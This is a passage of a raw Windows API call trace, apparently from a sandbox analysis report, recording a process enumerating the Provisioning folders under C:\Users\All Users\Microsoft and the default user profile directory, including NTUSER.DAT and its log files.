nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e60513, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e60513, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e60513, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e60513, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0eac9f1, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0218.524] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0218.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0218.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0218.525] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0218.525] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.525] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e3a2a4, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e3a2a4, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e60513, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_0.provxml", cAlternateFileName="POWER_~1.PRO")) returned 1 [0218.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e86782, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e86782, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e86782, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 1 [0218.527] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.527] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0218.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0218.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0218.527] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0218.528] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.528] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.528] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e3a2a4, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e3a2a4, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e60513, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_0.provxml", cAlternateFileName="POWER_~1.PRO")) returned 1 [0218.529] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e86782, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e86782, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e86782, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 1 [0218.530] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e86782, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e86782, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e86782, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 0 [0218.530] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0218.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0218.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0218.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0218.530] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x50 [0218.530] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0218.534] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.534] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10504bd, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa10504bd, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa10504bd, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0219.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0219.092] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0219.092] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.093] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.096] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0219.096] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d54d8a8, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d54d8a8, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d54d8a8, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0219.096] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0219.097] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0219.097] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0219.097] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0219.097] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0219.097] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x31bfa5a5, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xea64ab63, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xea64ab63, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d61ae52, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d61ae52, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0219.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0219.100] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0219.100] FindNextFileW (in: hFindFile=0x1d1f5590, 